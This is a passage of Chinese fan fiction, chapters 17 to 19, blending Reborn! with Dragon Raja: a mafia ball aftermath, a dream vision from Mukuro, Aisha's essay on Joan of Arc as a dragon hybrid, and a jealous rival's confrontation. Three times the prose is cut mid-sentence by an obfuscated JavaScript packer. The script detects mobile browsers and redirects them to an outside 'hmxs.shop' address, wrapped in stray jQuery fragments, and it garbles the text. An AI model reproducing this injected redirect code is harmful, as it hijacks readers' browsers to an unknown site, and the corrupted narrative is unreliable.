再然后师弟转过头来,语气斩钉截铁: “但我们真的不是那种关系!” “知道啦知道啦。”迪诺露出一个无比灿烂的微笑,然后冲沢田竖起大拇指,看上去莫名其妙异常上道。 “所以为什么要摆出GoodJob的手势!?好好听人解释啊喂!”沢田纲吉不由崩溃。 之后他们又聊了一会儿。期间沢田尝试用各种方式论证他与艾莎关系之清白,可迪诺全程一副“我看好你们”的耀眼笑容,且越解释他就笑得越灿烂,到最后沢田甚至沮丧地怀疑自己可能越描越黑了…… “啊呀,阿纲,你要不要去当护花使者?”聊着聊着,迪诺突然面露讶然。 “…暂时不用。”沢田低声道。他盯着艾莎那边,神情严肃。 ——就如所料的那样,鱼儿咬住了钩子。 她的面前多了一个鹰钩鼻男人,茶色头发、二十八九的年纪。他坐在轮椅上,身体不断前倾。 艾莎始终与他保持着一臂的安全距离。她漫不经心地偏头摆弄着耳环,笑容不咸不淡。 他们中间横亘着那幅《耶稣受难图》。降世为人的圣子被钉在十字架上,他的门徒四下逃逸,而圣子本人瘦骨嶙峋,他闭着眼睛,似乎再也不会醒来。 17. 第17章 夜话 “累死啦——” 艾莎甩掉了脚上的高跟鞋,然后毫无形象地瘫在了客厅的懒人沙发上。 “如果让我知道是谁发明了高跟鞋这种刑具,我一定要搭乘时光机把他暗杀掉……” 舞会上她全程挂着超有逼格的微笑,谁也想不到她私底下会是这么一副陷在松软布料中就幸福得散发小花花的懒散模样。 看到她旁若无人地暴露咸鱼本性,沢田纲吉无奈地弯了弯唇: “今天辛苦艾莎啦。” “不辛苦不辛苦,”艾莎挥了挥手,她边说边把右耳上的耳环摘了下来。 在沢田接过耳环后,她就又向后一仰躺尸不起了。 耳环是常见的纯银镶黑曜石样式,作为饰品简单而精巧。经过技术部门的改造后,它又具备了摄像与录音功能。 沢田放在手中摆弄几下,然后将它连接到了专门的小型显示屏上。 他跳过了艾莎与他分头行动前的画面。没过一会儿,茶发男人的脸出现在屏幕中央,与温吞的外表不同,他说话速度很快,眼中跳动着火苗一样的光芒。 他正是于五年前继承了德维尔家族的Mafia,伊凡·德维尔。因为儿时的一场事故,他失去了行走能力,只能终身坐在轮椅上。当时的老德维尔一度剥夺了他的继承权。 德维尔用的居然是意大利语。艾莎没有打断他,而是任由他滔滔不绝了很长时间。最后在他明显期待得到回应的时候,她终于道: “Idon’tspeakItalian,canyourepeatitinEnglish” 这是她在游戏里对莱因哈特说的第一句话,就连语调都是如出一辙的平静冷漠。这一瞬间,德维尔的眼睛里迸发出骇人的光彩,就如同火花猝然迸裂。 这样算得上当面挑衅了。沢田不赞同地看了艾莎一眼,后者立即心虚地避开了视线。 然而之后,德维尔没有进一步行动。他只是深呼吸两下,并主动中断了对话。一句不怀好意的“再会”后,他轻轻抬手示意,一个执事模样的人立即上前,恭敬地推着他的轮椅离开了。 “所以他到底说了什么?”艾莎按捺不住好奇地问。 此刻她终于挣扎着从懒人沙发上爬了起来。她与沢田纲吉肩挨着肩,两个人一起凑在小小的显示屏面前。 艾莎注意到在听德维尔说话时,沢田的表情慢慢从严肃变为诡异,接着又变得相当阴沉。 “……他向你介绍了复活节——他说耶稣明明是周日复生,可每年的复活节舞会却在周五举行,恰好是行刑的日子,因此他认为Mafia们庆祝的其实是耶稣的受难。”沢田纲吉停顿一下,然后继续道,“他还夸赞了你……问你要不要转投他的怀抱。” 他说的是过于精简委婉的版本。事实上德维尔详细描述了耶稣的整个受刑过程,包括人体各个部位被钉入钉子后的各种细微反应,就好像亲临现场似的。 对于艾莎的外貌,德维尔也远远超出了夸赞的程度。他先是以颤抖的咏叹调把她从头发丝一路赞颂到了脚趾头,接着又直白地说出了各种他想要对艾莎做的事以及想要艾莎对他做的事,用词之变态血腥简直到了令人胆寒的地步。 “就这样?可他明明说了一大堆,看起来还挺限制级的……哦。”艾莎先是疑惑,但又很快反应过来:德维尔说的恐怕是什么难以转述的变态内容。之后她可以再请教彭格列专门的翻译人员,没必要大晚上的难为沢田。 ——不过“转投怀抱”啊……其实这倒也不失为一个机会。 艾莎若有所思。沢田认得这个表情,就和前天她认真考虑要不要去舞会的时候一模一样的。 所以现在她也是在认真考虑色诱的可能性么?沢田嘴角微抽。 “——绝对不行。”他尽力保持住了表面上的平静。 艾莎闻言一滞:“……我还什么都没说呢!” “嗯,驳回。”沢田置若罔闻。 “……可我还什么都没说呢!!”她心虚地重复一遍。 “……好歹也站在我的角度考虑一下啊艾莎。”沢田纲吉轻轻叹了口气,每次他叫她的名字时都透露出一股“拿她毫无办法”的温柔与无奈,同时也显得很亲密。 “把你强行拉扯进【game】的事就已经够糟糕了。要我再让你以那种形式去到那种险恶的家伙身边是绝对不可能的,太危险了。” “——停停停,【game】的事明明是我自愿,不存在什么拉扯。而且我很强的啦,只是打探情报而已,又不会真的被占便宜……”艾莎说道。 “这和实力什么的没有关系。”沢田纲吉不假思索地说。 明明有很大的关系。 她有点不服气地想道。但是沢田话里话外透露出的意味过于坚定,根本是不容反驳的。这家伙看着一副好脾气的样子,可当他真的下定某种决心的时候,世界上的一切事物都不能令他改变心意。 所以她干脆地闭上了嘴巴。 “艾莎,回答呢?”沢田犹不放心,他微微眯眼,非要从她那里得到正面否定才罢休。 艾莎闷闷地冲他做出一个拉上嘴巴拉链的动作,然后摇摇头;又指指他,再点点头,表示自己会听话。 ——作为手势来说也过于复杂了! 沢田纲吉哭笑不得,不过他依然看懂了她的意思。 “但是纲吉君,你觉不觉得这家伙表现得有点太明显了?” 艾莎把画面倒回德维尔听到她说话的那一刻。在影像定格以后,他眼中爆发出的神采越发狰狞可怖。 “简直是教科书般‘在残疾中逐渐走向变态的有钱人’……就差把‘我有问题’四个字写在脸上了。”她这么评价道,“虽然很符合【game】幕后者的侧写,但又让人觉得过于符合了……像个陷阱。” 沢田明白她的意思,德维尔的言行其实充满了违和感。在舞会这样的公共场合,他说的话那样癫狂露骨,行为却充满克制。在艾莎主动挑衅他以后,他的第一反应竟然是控制情绪,会说出那种言论的人本不该如此理性。 “还有会对我说意大利语这一点。从他的反应来看,他绝对是看过游戏视频的。可既然这样他就应该知道我不会说意语才对……啊——总有种事情越来越复杂的感觉。”艾莎有点沮丧地挠挠头。 “不管怎么说,今晚的收获已经很大了。我们至少肯定了德维尔与【game】之间存在联系,也就找到了突破口。接下来我会让德维尔家族……有点别的事去忙。”沢田轻描淡写地说。 这难道就是Mafia版本的“天凉了让王家破产吧”……算了沢田肯定听不懂这个梗,艾莎拼命忍住了没有槽出口。 “这样不怕打草惊蛇么?” “我会把握好尺度。无论如何,【game】的牺牲者不能再增加了。”沢田垂下眼帘,隐去眸中担忧,“况且从德维尔的表现看……艾莎,你已经成为他的目标了。” 恐怕很快就会有后续行动吧?想到德维尔最后那句满含恶意的“再会”,沢田纲吉微微拧眉。 “那不是正好?由纲吉君在外部施压、我从内部吸引火力,至少让【ga ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658776|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' me】没那么多时间去祸害莱因哈特那样的孩子——”艾莎严肃认真地点点头,“放心,我是个好T.” ……不,每次你说放心的时候都完全不能让人放心。 沢田默默吐槽。 既然确定了【game】与Mafia有关,果然还是让艾莎点燃死气之火比较好吧? 沢田纲吉再一次这么想道。这已经不是他第一次产生类似想法,可每当这个时候心里总会有个声音叫嚣着不行不行,决不能对现在的她发射死气弹。那是种令人毛骨悚然的直觉,面对这种直觉沢田不得不依从。 但另一方面,让一个没有点燃死气之火的女孩参与Mafia之间的战斗,这种事真的可行么? 光是想想就觉得很不负责……他在心里苦笑,决定接下来至少给她加几节实战课。 -- 等谈完正事,时间已经很晚。沢田便打算起身告辞,不料这时艾莎突然凑到他面前,她的眼睛亮晶晶的。 “纲吉君……我今天的表现是不是很好?” 她一副全然的、求表扬求夸赞的样子,有那么一瞬间沢田甚至想伸手摸摸她的头,还好他拼命忍住了。 “是、是。今天多亏艾莎了。”他微笑着答道,这句感谢带着十二万分的真心。 “那今天可不可以放假?缺的课明天或者后天再补上!”她提议道。 “当然。”沢田失笑。这本来也就是他的打算,现在由艾莎主动提出来,倒好像是他卖给她一个人情。 “而且明天是周六,纲吉君也不用上班对吧?”她继续问道。 沢田纲吉犹豫一下,然后点了点头。其实刚继承彭格列那会儿他是完全没有周末这个概念的,直到这两年局势渐稳,再加上复活节舞会后三天不起争端的隐形规定,他明天的确算是休息。 “——所以纲吉君,要不要玩马里奥赛车8?”艾莎绕了一个大圈子,终于绕到了她的目的所在。 “诶?但是……” 她还穿着那件轻薄的黑色礼服,裸露的手臂骨肉匀停。脑海中莫名响起迪诺的调侃,沢田下意识地错开了视线。 “……但是这里没有游戏卡带。”沢田试图负隅顽抗。 “我有我有。”艾莎把她那个破破烂烂的书包拖过来,熟门熟路的从里面掏出游戏机、卡包、底座以及一堆散乱的线。 “来战?”她期待地看着他。 ……她的眼神闪闪发亮,看得沢田纲吉心里一软,突然就说不出拒绝的话。 他抬手看一看表,心里想玩一两个小时好像也不是不行: “…来战!” “纲吉君你先把游戏机连到电视上,冰箱里有柠檬和可乐要喝你自己倒——我去卸个妆换个衣服,马上就好,等我十分钟!”艾莎快乐地一蹦三尺高(要不是这次沢田眼疾手快扶住她,她又差点摔一跤)然后一溜烟消失在了盥洗室。 沢田纲吉轻轻叹了口气。他将西装外套放在一边,又将领带扯松,接着认命地俯身从地毯上捡起那团乱糟糟的线。 说起来……这块地毯又回到客厅了,之前艾莎曾把它拖到阳台。 沢田心里突然微微一动。他环顾整个空间,客厅、餐厅、阳台……对于很多房东来说,艾莎大概是个很好的租客。她把屋子打理得很干净,明明已经住了不算短的一段时间,可各类家具摆放得整整齐齐,公寓里依然没有多少她的痕迹。 手里的HDMI连接线打了好几个结,看上去已经许久未用。 他一个人站在客厅里,莫名觉得这个房间这么空荡。 18. 第18章 雾守的礼物 四周静谧,微风拂来。 沢田纲吉发现自己正站在湖畔的一片青草地上,清澈湖水倒映着蔚蓝天空,远处飘来淡淡的草木香气。 “……又出来散步么,骸?”尽管四下无人,他还是主动打了招呼。 “kufufufu……” 伴随着奇怪的笑声,正前方的空气开始扭曲。很快,彭格列的另一名雾守出现在沢田面前。 他身材高挑瘦削,深蓝色的长发束于身后,一双异色瞳孔美丽而妖异。 “本来是散步途中听到了有趣的传闻……没想到却意外看到了不得了的东西呐。” 六道骸说话时的语调总是很温柔,但对大多数人来说这种温柔完全无法令人安心。 非要说的话,大概就是明明他在对你微笑且用词文雅,你却总会觉得他正在骂你或者计划着从背后给你来上一刀。 但沢田纲吉当然不属于“大多数人”之列。早在国中时期他就已经将骸看作不可替代的同伴,如今十年光阴过去,这份信赖从没有过一丝一毫的动摇。 况且随着羁绊加深,年轻的首领对守护者们的了解也愈发深厚——隼人处处为他着想,在他人看来简直到了寸步不离的地步,可事实上却非常尊重他的私人空间; 反观骸,表面看着斯斯文文,其实对‘个人空间’什么的毫无概念。特别是这几年越发褪去身上戾气后,那淡泊的微笑与随风飘动的凤梨头下分明藏着一颗八卦且好管闲事的心。 “——如果你说的传闻是指所谓的‘彭格列与他的情人’,那只是谣传而已。”他干脆地说,“艾莎和我并不是那种关系。” 最近经历连环轰炸,他感觉自己辟谣辟得越发行云流水。 “哦呀,那孩子不是名叫‘菲奥娜’么?”说是这么说,六道骸的脸上却没有一丝一毫的讶异,“‘艾莎’这个名字听上去未免过于虔诚了啊,相对于那种可悲的‘怪物’来说。” 他的语气听上去不怀好意,可眯起的眼眸里却又藏着淡淡的悲悯。 “…骸。”沢田纲吉抿唇。 的确,艾莎面对危险的反应与她简单的履历并不吻合,甚至她本人都曾向沢田提出过这点(且在获得他的信任后表现得格外抓狂)。在达成一致后,他们便一直没有再触及这个话题,彼此都是心照不宣的态度。 骸想必是知道了什么。因为某些特殊渠道的存在,自己的这位雾守一向消息灵通。 然而无论艾莎向他隐瞒了什么,她都不应该被这样称呼。 “kufufufu……这副表情倒是与印象中阴险卑鄙的Mafia相差不远了。”六道骸的心情似乎反而变好了,“不要误会,彭格列,我可是在表达敬意哦?” 他轻轻地勾起嘴角: “——术士归根结底是摆弄人心的存在。某种程度上说,那孩子是术士的‘克星’也说不定啊……” 他明明也才25岁,可称呼和语气听上去老气横秋。好像他已经很大,又或者艾莎的年龄还很小。 沢田纲吉早就习惯了他这种“什么都没说又好像什么都说了”的语言风格。从某种难以言说的角度,他甚至get到了骸在以自己的方式向他表达“艾莎是可以信任的”这种一般人完全get不到的信息。 “哦呀,散步时间似乎要结束了呢。”六道骸望向湖面,他的身影正慢慢变淡。 “两周。”沢田道,“再忍耐两周。骸,两周之后,就在外面的‘现实’中再见吧。” “…kufufu,我对与肮脏的Mafia见面毫无兴趣。不过,若把它当作夺取身体的邀请就另当别论。”六道骸的语气温柔而疏离。 “临别前,让我再送你一份礼物吧,彭格列。当作今年你终于放过我可爱的库洛姆的小小答谢……” 话音刚落,他的身影便完全消失了。沢田纲吉听完嘴角微抽,超直感在脑中警铃大作——把骸这家伙和“礼物”什么的联系在一起根本是全世界最糟糕的组合!只有云雀前辈和“群聚”的鬼畜搭配能与之一敌! 可是已经来不及了。 下一秒,天地颠转! 沢田纲吉毫无防备。不,这种情况即使他心存防备也于事无补。他的身体骤然从湖畔坠入天空,又重重地坠落进云朵里。可感觉却如同沉入深海。 视觉被剥夺了,又或者是因为深海中根本没有光线。 水流……水流在四面八方涌动,微末处又好像藏着无数窃窃私语。 既不是日语也不是意语,可沢田却奇异地听懂了其中的某些含义。 “高贵的血脉……不可能……野狗……” “战争……准备……” “残次品……战士……丧家犬!” 伴随着声音,无数画面涌入他的脑海,它们仓皇破碎地跳动着,快得让人来不及抓住。 “——拉开她们!”肮脏的街道上,年幼的女孩死死拽着女人的衣角,周围伸出很多双粗壮的手拉扯她,可她执拗地不肯松手。女人自己蹲下,将她细小的手指一根一根掰开,她愤怒地抬头,却发现女人没有五官; 还是那个小女孩,她被套在一件帆布制的拘束服里,衣服外面缠覆着层层叠叠的锁链。她被这样捆在一张小床上动弹不得,只有一颗头颅露在外面。她看起来那么恐惧那么绝望,歇斯底里的大张着嘴巴却发不出任何声音; 钟摆,巨大的钟摆虚影投射在她眼中,每一次的摆动都带着令人恐惧的威严。 “我不需要刀,刀只是死物而已,我有很多把刀。我要的是战士,所向披靡的战士。”男人的声音淡淡的。 “什么是所向披靡?” “力量所到之处,一切障碍都被扫除。” “好。带我离开,我做你手下的战士,所向披靡。” 蛇形怪物的尸体铺满整个空间,尽头连接着无穷的黑暗。尸堆中央,穿着黑色作战服的少女漠然挥刀,振落了刀身上残余的鲜血。 鲜血滴落在惨白的地砖上,又蓦地燃烧起黑色的火焰。 火焰上卷起狂风,仿佛是在沢田周围燃烧起来。汹涌热气扑面而来,黑暗的深海被彻底蒸干,空气中滚动着浓烈的铁锈味道。滔天的火光下,无数怪物嘶吼着撞击在一起,他们生着暴虐的骨翼,彼此搏杀直至生命终结。 比起前面那些破碎的片段,这个场景带着种过于残忍的生动与鲜活。时间似乎被刻意拉长了,就像电影里的慢镜头,地狱里的一切纤毫毕现。 男人的背影高悬在半空——不,不是悬浮,他是被钉住了!他的四肢被数根利刺贯穿,银白色的头发飘散于空,仿佛被烧干了的风雪。 沢田看不见他所面对的东西,那是某种漆黑的庞然大物,带着无与伦比的愤怒与威严! 男人却并不为这威严所慑。他已不再年轻,可慨然咆哮的样子却让人联想到悬崖边的狮子。他还没有落败,尽管肉身磨灭!身体被钉穿的同时,他同样封锁住了那怪物的行动! 血液像瀑布一般涌落,他呼喊着艾莎的名字,声音里带着大仇得报的喜悦。 -- 沢田纲吉一下子惊醒。他下意识去摸索床头灯,手指却只碰到一只光滑的手柄。 眼睛渐渐适应了黑暗,神志也正慢慢回笼。他突然意识到自己并不在熟悉的卧房——他他他还在艾莎的公寓里! 他他他刚刚居然睡着了! 他惊慌失措地弹坐起来,身上薄薄的毛毯顺势滑落下去。 先前似乎做了什么噩梦,虽然记不清内容,但梦中激烈的感情波动到了现实仍有残余,那种莫名的恐惧与悲伤在他胸腔处酸涩地蔓延开来。 他下意识看向阳台,只有那里传来微弱的光线。 艾莎正一个人抱膝坐在阳台上,她早换回了常穿的宽松卫衣,蜷缩起来时只有小小的一团。 沢田走近,才发现她的肩膀一耸一耸的。他脚步一顿,却不知道自己为何陷入犹豫。 “纲吉君醒啦?吃薯片么?” 这时艾莎主动转过头来。她递过来一包开封的乐事,嘴上还沾着点薯片残渣,看起来蠢萌蠢萌的。 沢田纲吉:“……” 所以你刚刚其实是在偷吃零食么!? 他在她身旁坐下,顺便瞟了一眼时间,现在才凌晨4点而已。 “还是睡不着么?” “睡着了的。但做了怪梦,”艾莎回忆一下,道,“梦到了会动的热带水果和某种令人不快的笑声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658777|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 沢田纲吉:“……听上去真恐怖。”骸!她是梦到了骸么!? 接着他陷入沉默。原因无他,实在是这个时间点过于尴尬,说什么好像都不合适。按道理他应该立即起身告辞,可凌晨4点来这么一出似乎有点为时已晚;他总不能说时候不早了我们去睡吧——无论他的意思有多纯洁放在这个时间点这句话怎么听都透着一股淫.邪…… 要不提议吃早饭好了,问题是现在天还没亮呢……凌晨4点、凌晨4点能干什么?沢田的大脑飞速运转,最后他绝望地得出结论:凌晨4点什么的两个单身男女根本就不该待在一起! 他很没出息地也抓了把薯片塞进嘴里,然后在缺心眼的“我们继续打游戏吧”以及更加缺心眼的“我好困我还想再睡一会儿”之间选择了第三条路。 “……要不我们开始今天的授课吧。” 凌晨4点,沢田纲吉非常正直地提议道。 -- 课程结束后,沢田向艾莎提出了进行实战课的想法。 出乎他意料的,艾莎没怎么犹豫就答应了下来。 “既然确认了【game】与Mafia有关,果然还是得早点熟悉死气之火的实战才行。毕竟我也不想受伤嘛。”她大喇喇地说,“现在连看都看不到,真正遇到冲突的话会有点麻烦。” “但是我好像没有能够自主点燃火焰的迹象……这么一想,就必须使用死气弹吧?”她有点苦恼地问道。 “艾莎不想使用死气弹么?” “嗯……纲吉君之前说过,死气弹是借由后悔的事激发人的潜力对吧?”艾莎不好意思地挠挠头,“所以使用死气弹的话就会知道自己心里最后悔的事吧……想想怪讨厌的。” “那么,先尝试用实战的方法自主激发火焰怎么样?”沢田提出了折中方案,“我会辅助你进行练习,这样也能达到熟悉实战的目的。” “诶?还有这种方法么?”艾莎愣住。在得到沢田微笑颔首的回应后,她的表情立即明快起来,“麻、麻烦纲吉君了!” “不麻烦的。”沢田道,“艾莎有什么惯用的武器么?我会让人提前准备好。” “唔……我对武器没什么偏好啦。”她想了想,然后道,“最擅长的可能是日本刀。因为我有很厉害的老师!” ——你一个在美国长大的会说中文的德国人最擅长的武器居然是日本刀么!? 不,更奇特的应该是沢田居然没有想象中意外了。 “……艾莎的老师是?”看出艾莎满脸“快问我快问我”的样子,沢田决定顺应她的期待。 “哼哼,家师正是号称‘无所不斩’的日本武士——安土桃山时代著名义盗的第十三世孙,石川五右卫门是也!”艾莎脸上出现了陶醉崇拜的红晕。 “……艾莎,你说的难道是《鲁邦三世》里的那位角色么?”沢田纲吉一脸木然。 《鲁邦三世》是日本家喻户晓的国民漫画,早在1967年便开始连载,之后又衍生出各种动画电影真人本,直至今天仍不断推出新作。 而石川五右卫门正是里面的主要角色之一,他是一位究极恐怖的居合斩高手,因为性格与实力反差极大,又被粉丝称作“世界上最可爱的轻型人形兵器”,据说最新一部剧场版里制作组将安排他斩开月亮…… “——没错!二百八十四话漫画加上五季动画以及二十六部剧场版!把这些全部领略完一遍后我终于领悟了传说中的‘斩铁剑’!”艾莎激动地握拳。在沢田看来她现在活像个看到日本人就大叫“忍者武士”的傻老外。 “不,把这些全部看过一遍只会把人变成了不起的死宅而已。而且他的出场根本没有那么多吧。”他毫不留情地槽道。 “死宅和修行没有冲突!” “怎么可能没有冲突!我以前可是牺牲打俄罗斯方块的时间去山里打熊!” “诶——原来纲吉君喜欢玩俄罗斯方块啊——” “不要用那么羞耻的语气说出来啊喂!” “其实我有卡带喔?”艾莎的声音仿佛恶魔低语,“来战?” “…来战!” 于是他们又回到客厅。在他们身后,朝阳悄悄地照亮了遥远的海平线。 19. 第19章 各自的困境 “…血之哀产生的另一重要原因在于混血种的身份认同问题。混血种具有龙的能力,却仍然保留着人类的内心,这使得他们一直生存在夹缝之中,并不被此两大群体所接受……” 艾莎的十指在键盘上翻飞。 “…得益于体内的龙族基因,混血种通常具备过人的力量与智力天赋,这也令他们难以融入人类社会……” 想凑字数就得多举例子,她信手拈来一个混血种被人类群体排斥的经典案例。 “…譬如‘圣女贞德(1412-1431)’。这位历史上著名的法国民族英雄出生于某个偏僻农村,之前从未接触过龙族文明。她在13岁时突然觉醒了龙族血统,并误将血统觉醒时产生的‘灵视’当作某种神迹。 当时正值英法百年战争时期,法国国都以及北境已经全面沦陷。贞德认为自己得到了‘天主的启示’,要她带兵收复失地。 凭借着惊人的意志,她将自己伪装成男性、穿越了广阔的敌方领土,并最终到达了王储查理所在的城堡。在查理面前,贞德展现出了非比寻常的智力与胆魄,如愿获得了兵权。 经研究表明,贞德的言灵或许是‘王之侍’那样能够强化群体作战机能的能力。她偏好采用正面猛攻的战术,法军在她的带领下获得了一系列不可思议的胜利。 作为端坐食物链顶端的生物,龙族仅凭凝视就可以让世界上所有物种臣服。 混血种具备相似的能力,他们可以使自己的瞳孔发出金色的光芒,这种光芒会对一切血统不如自己的生物施加压力。 根据秘党搜罗的回忆录可知,贞德在1430年的战斗中暴露了她的黄金瞳。在此之前,法军一直将她看作‘上帝的使者’。 然而面对那双金色的眼睛,所有人都压抑不住本能的、刻入基因的恐惧。他们认为贞德只能是魔鬼派来的东西。 1430年5月23日的一次小规模作战中,贞德下令军队撤退回城。她处在军队的最后方确保所有人能够安全返回。 陷入恐惧的法军认为这是一次摆脱魔鬼的机会。他们在顺利撤回后提前关闭了城门,遭遇背叛的贞德战至力竭,被勃艮第人俘虏。 被囚禁后,贞德从未放弃返回法国。有一次她甚至从21米高的高塔上跳下,龙族血统使她奇迹般地生还,也让勃艮第人发现她的不同寻常。 之后他们使用了某种炼金锁链绑缚她。当时的人们误将这种龙族遗物视作可以束缚魔鬼的圣物,在它确实生效后,贞德进一步坐实了异端的身份,并由英格兰主导审判。 1431年5月30日,贞德被处以火刑。” 艾莎的手指停顿一下,然后继续敲出那行被所有混血种视作隐形规则的话语: “历史上类似的例子不胜枚举。人类恐惧着混血种的力量,自发将他们排斥出群体之外。正是这种难以融入社会的孤单造就了‘血之哀’。” “因此,无论身处何种情况,混血种都不应主动向人类暴露自身存在。这种行为只会招来灾祸。” 艾莎挠挠头,心里觉得这种结论怪扯淡的。 说的好像混血种是什么迫不得已抱团取暖的小可怜一样——英法又不是没有其他混血种,按道理他们不是应该去向贞德展示所谓的同族爱么。 可大家还是冷冷地看着她被烧死了。 这个可怜又可敬的法国姑娘,至死都以为自己的力量来自某种神迹,至死都虔诚地信仰着上帝,至死都不知道自己其实是怎样的怪物。 她被并肩作战的同伴抛弃了;在她被虏后,曾经支持她的查理七世也不曾努力援救,可能是也畏惧那股力量吧。 真正接纳她的或许只有她的母亲。这个老迈的女人在战争结束后请求重新审判她的女儿,为贞德换来了无限哀荣。 可哀荣有什么用?她都已经被烧成灰了,哀荣能让死者从灰烬中复生么? 艾莎边想边慢慢阖上了电脑。她听见有人过来了。 此刻她正坐在彭格列占地面积巨大的花园一角,背后靠着的那棵欧洲栗生得枝繁叶茂郁郁葱葱。 原本她应该继续在总部房间啃那堆【game】的资料,可技术部门的人今天需要临时升级电脑。看他们忙里忙外的她也帮不上忙,干脆跑到没人的户外写她的论文。这当然也经过了沢田的首肯。 脚步声越来越近。50公斤以下,女性或者异常瘦小的男性,身体素质良好。 “菲奥娜·怀特?”冷冷的女声传来。艾莎抬头看去,来人大概十七八岁,一头灿烂耀眼的金发,漂亮的脸蛋叫人想到娇艳欲滴的玫瑰。 “你好?”艾莎投以询问的目光。 “…没有化妆、穿着随意、居然还盘腿坐在地上……只有一张脸还算勉勉强强。”少女严苛地评价道。她明明是典型的欧美长相,居然也说得一口流利日语,“……真不知道纲吉先生看中你什么。” 说完,她矜持而冷漠地点点头,做了自我介绍: “克里斯蒂娜·孔蒂,三天前的复活节舞会上我们打过照面。” 艾莎呆道:“哈……” “下面我会问你几个问题。不要试图在我面前说谎,否则我会知道的!”克里斯蒂娜自顾自地继续道。 艾莎呆道:“哈……” “你……”克里斯蒂娜眯起眼睛,“是真心喜欢纲吉先生么?” 艾莎呆道:“哈……” “从刚才开始你就在一脸痴呆的‘哈、哈、哈’些什么?!”克里斯蒂娜不耐烦地以手抱胸,“回答我的问题!” “……不,我只是觉得莫名其妙。我为什么要和一个刚见面就说我‘勉勉强强’的家伙推心置腹啊……”艾莎诚实地说。她的表情毫无攻击性可言,这反而让她的吐槽效果倍增。 “你!”克里斯蒂娜噎了一下,但她很快昂起了下巴,“谁要和你推心置腹了!我只是来确认你是否做好了觉悟而已——你以为当彭格列Boss的情人是一件很简单的事么?面对敌对家族的威胁,你至少要做到不拖纲吉先生后腿的程度才行。” 她冷冷道: “——你,愿意为了纲吉先生去死么?” 在来之前克里斯蒂娜就想好了一切。像菲奥娜这种贪图富贵的女人她见得多了,虽然不知道纲吉先生为什么会被她迷惑,但只要让她知难而退就好了,只要简单地告知里世界的残酷就好了。 这是克里斯蒂娜对菲奥娜·怀特发起的挑战! 只要菲奥娜有一丝一毫的犹豫,作为情人她就已经输了; 而假如她硬撑着点头,那也没关系,因为克里斯蒂娜天生就有分辨他人是否说谎的特殊能力。 然而万万没想到—— “怎么可能愿意啊?”艾莎像看神经病一样看着面前的少女。她毫不犹豫的回答了,且说出来的话现实到败狗的地步。 “反而能轻易说出这种话的人才奇怪。如果有人说愿意为了我去死我只会建议他去看医生好么……” 挑衅,这是挑衅! 面对无精打采耷拉着眉眼的菲奥娜·怀特,克里斯蒂娜杏目圆睁: “看来你完全没有做好觉悟!那就让我来告诉你吧——成为彭格列Boss情人的必备素质!” 漂亮的少女滔滔不绝。显然‘成为沢田纲吉的妻子’是她的终身目标,但她大度的表示将来不会为难艾莎,因为作为Mafia首领有那么一两个情人也是必要的。 事实上,由于沢田拥有异常珍贵的彭格列血统,少女早已决定为他广罗美女。反正根据Mafia世界的隐形规定,情人生下孩子后不能自己抚养,必须交由首领的妻子。 她表示如果艾莎听话,将来她可以允许艾莎每年进行一次探望。 “认清自己的位置。不要以为纲吉先生永远只会有你一个情人,”克里斯蒂娜满怀嫉妒地警告道,“也不要对超出你能力的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658778|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位置心怀妄想——喂,你那是什么表情!” “……说实话我不是很欣赏你每句必带一个感叹号的说话风格。”艾莎睁着一双死鱼眼槽道,“而且这是什么‘本宫不死尔等终究是妃’的迷醉发言,你难道是清朝人么……” 说起来,原来沢田也背负着传承血脉这种令人无语的期待啊…… 这让艾莎想到北美某混血种世家的继承人,该继承人在看到她的第一眼即向她求婚,求婚语是“虽然我更喜欢男人但为我生一百个孩子吧伊丽莎白,我们能制造出世界上最强的混血种!”后来他莫名其妙的断了一两根肋骨。 “我觉得纲吉君大概不会接受你的‘彭格列血统繁衍计划’,他看起来还挺专情的。”琢磨着电脑应该已经升级好了,艾莎边说话边站了起来。 她拍了拍身后的草屑,心平气和地说:“而且我们也不是情人关系。你对我说这些没意义。” 等到取得先祖遗物、再解决完【game】的事她就会离开了。艾莎心想。不过这种事没必要和克里斯蒂娜说。 “哈?!”克里斯蒂娜心说骗鬼呢。从那次探戈就能看出来了,在此之前她从未见过纲吉先生用那么专注的眼神注视过谁,就好像世界上只剩下他们两个人。 “还有,那个小孩生下来就要送走的规定真扯淡。”本来艾莎已经走出去几步了,可想想她还是忍不住折回来把话说完了,“虽然我从没想过这方面的事,但将来如果有人想从我身边带走我的孩子,我会把那个人的肠子从喉咙里抠出来。” 她的语气非常平淡,搭配上那张无害的脸甚至有种在说“小拳拳捶你胸口”的软妹感。 然而望着她离去的背影,克里斯蒂娜却忍不住流下一滴冷汗。 